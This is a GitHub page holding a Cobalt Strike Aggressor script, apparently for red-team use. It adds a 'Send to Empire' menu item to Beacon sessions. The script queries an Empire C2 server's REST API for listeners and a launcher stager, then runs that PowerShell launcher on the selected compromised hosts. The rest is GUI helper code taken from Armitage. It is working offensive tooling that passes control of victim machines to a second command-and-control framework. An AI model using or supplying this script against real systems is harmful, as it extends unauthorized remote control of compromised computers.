-
Notifications
You must be signed in to change notification settings - Fork 162
/
beacon_to_empire.cna
229 lines (178 loc) · 6.21 KB
/
beacon_to_empire.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
#author bluescreenofjeff
# Big thanks to @armitagehacker and @harmj0y
#Set the Empire server IP, port, and REST token below on lines 20-22
#Name your listeners without spaces!
# needed imports for custom menu creation
import java.awt.*; # for borderlayout
import javax.swing.*; # for jpanel
import javax.swing.table.*; #tablerowsorter
import table.*; # generictablemodel
import ui.*; #atable
popup beacon_bottom {
item "Send to Empire" {
global('$server_ip $server_port $rest_token');
#### CONFIGURE EMPIRE SETTINGS HERE ####
$server_ip = "127.0.0.1";
$server_port = "1337";
$rest_token = "EMPIRE REST TOKEN GOES HERE";
########################################
#curl list of listeners from Empire
$curl_command = exec("curl --insecure -i https://" . $server_ip . ":" . $server_port . "/api/listeners?token=" . $rest_token);
@listeners = readAll($curl_command);
closef($curl_command);
#parse listener names from output
foreach $key => $value (@listeners){
if ('"name"' isin $value){
$temp = split(': ',$value)[1];
$temp = replace($temp,',','');
$temp = replace($temp,'"','');
add(@listener_names, "$temp");
}
}
#throw error if no listener names found
if (strlen(@listener_names) <= 3){
show_message("[!] Error - No listeners retrieved from Empire at $server_ip port $server_port");
throw "[!] Error - No listeners retrieved from Empire at $server_ip port $server_port";
}
#make listener name hashlist
@listener_list = @();
foreach $name (@listener_names){
add(@listener_list,%(listener => "$name" ));
};
#prompt for Empire listener choice
quickListDialog("Chose an Empire listener", "Select", @("listener", "listener"), @listener_list, $width => 350, $height => 240, lambda({
#lambda function runs following code with selected listener as $1
#throw error if no listener names found
# if (" " isin $1){
# show_message("[!] Error - Listeners with spaces in the name are not supported");
# throw "[!] Error - Listeners with spaces in the name are not supported";
# }
$chosen_listener = replace($1, " ", "");
#curl Empire for chosen listener's launcher
$cmd = 'curl --insecure -i -H Content-Type:application/json https://' . $server_ip . ':' . $server_port . '/api/stagers?token=' . $rest_token . ' -X POST -d {"StagerName":"launcher","Listener":"' . $chosen_listener . '"} ';
$curl_stager = exec($cmd);
@stager = readAll($curl_stager);
closef($curl_stager);
#parse listener names from output
foreach $key => $value (@stager){
if ('"Output"' isin $value){
$posh = split(': ',$value)[1];
$posh = replace($posh,',','');
$posh = replace($posh,'"','');
}
}
#issue launcher on all selected beacons
binput(@ids, "powershell $posh");
bpowershell(@ids, "$posh");
},@ids => $1), \$tablef);
# $listener_string = replace(join(', ', @listener_names),", ", "\n ");
# prompt_text("Choose a listener: \n $listener_string", @listener_names[0], lambda({
# BLAH
# }, @ids => $1));
#clear the arrays out
clear(@listeners);
clear(@listener_names);
clear(@stager);
clear($posh);
}
}
###################################################
#
# GUI Helper Methods
# these are all from armitage/scripts/gui.sl
#
###################################################
# creates a list dialog, from armitage/scripts/gui.sl
# $1 = title, $2 = button text, $3 = columns, $4 = rows, $5 = callback
# creates a list dialog,
# $1 = title, $2 = button text, $3 = columns, $4 = rows, $5 = callback
sub quickListDialog {
local('$dialog $panel $table $row $model $button $sorter $after $a $tablef');
$dialog = dialog($1, $width, $height);
$panel = [new JPanel];
[$panel setLayout: [new BorderLayout]];
($table, $model) = setupTable($3[0], sublist($3, 1), $4);
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
if ($tablef !is $null) {
[$tablef: $table, $model];
}
$button = [new JButton: $2];
[$button addActionListener: lambda({
[$callback : [$model getSelectedValueFromColumn: $table, $lead], $table, $model];
[$dialog setVisible: 0];
}, \$dialog, $callback => $5, \$model, \$table, $lead => $3[0])];
local('$south');
$south = [new JPanel];
[$south setLayout: [new BoxLayout: $south, [BoxLayout Y_AXIS]]];
if ($after !is $null) {
foreach $a ($after) {
[$south add: $a];
}
}
[$south add: center($button)];
[$panel add: $south, [BorderLayout SOUTH]];
[$dialog add: $panel, [BorderLayout CENTER]];
[$dialog show];
[$dialog setVisible: 1];
}
# ($table, $model) = setupTable("lead", @rows)
sub setupTable {
local('$table $model $sorter $row $index $col');
$model = [new GenericTableModel: $2, $1, 8];
foreach $row ($3) {
[$model _addEntry: $row];
}
$table = [new ATable: $model];
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel SINGLE_SELECTION]];
$sorter = [new TableRowSorter: $model];
[$table setRowSorter: $sorter];
# make sure our columns have sorters that make sense
foreach $index => $col ($2) {
if ($col eq "session_host" || $col eq "host" || $col eq "Host") {
[$sorter setComparator: $index, &compareHosts];
}
else if ($col eq "port" || $col eq "sid" || $col eq "Port") {
[$sorter setComparator: $index, { return $1 <=> $2; }];
}
}
return @($table, $model);
}
# from armitage/scripts/gui.sl
sub center {
local('$panel $c');
$panel = [new JPanel];
[$panel setLayout: [new FlowLayout: [FlowLayout CENTER]]];
foreach $c (@_) {
[$panel add: $c];
}
return $panel;
}
# from armitage/scripts/gui.sl
sub left {
local('$panel $c');
$panel = [new JPanel];
[$panel setLayout: [new FlowLayout: [FlowLayout LEFT]]];
foreach $c (@_) {
[$panel add: $c];
}
return $panel;
}
# from armitage/scripts/gui.sl
sub syncTable {
if ([$1 isEditing]) {
[[$1 getCellEditor] stopCellEditing];
}
}
# helper, from armitage/scripts/gui.sl
sub dialog {
local('$dialog');
$dialog = [new JDialog: $__frame__, $1];
[$dialog setSize: $2, $3];
[$dialog setLayout: [new BorderLayout]];
[$dialog setLocationRelativeTo: $__frame__];
return $dialog;
}
# helpers, from armitage/scripts/gui.sl
sub tableRenderer {
return [ATable getDefaultTableRenderer: $1, $2];
}